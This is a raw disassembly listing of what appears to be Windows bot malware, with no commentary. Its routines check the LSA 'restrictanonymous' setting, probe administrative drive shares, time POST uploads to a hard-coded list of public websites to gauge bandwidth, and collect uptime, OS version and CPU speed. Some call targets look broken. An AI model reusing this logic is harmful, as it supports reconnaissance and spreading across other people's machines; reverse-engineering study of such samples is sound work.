loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CAFE4
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAF98
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D6C
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D34

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF50
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439CF8
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B10

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB06C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_4399D8
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439CD8
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CB0

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_4399E8
		jb	short loc_41A321
		nop
		call	near ptr 2811D64h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CAFD4
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439CD8
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CB0

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439C80
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A18
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 268054Ch
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433824 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB00C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E20
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 268054Ch
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB240
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26C0596h
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2660EB7h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D128
		mov	[ebp+var_CC], 94h
		call	near ptr 26C0596h
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_431284

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_431280
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_43127C
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_431278
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_431274
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_431270
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431268

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_43783C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE54
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2660979h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A114
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2720000h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2820000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
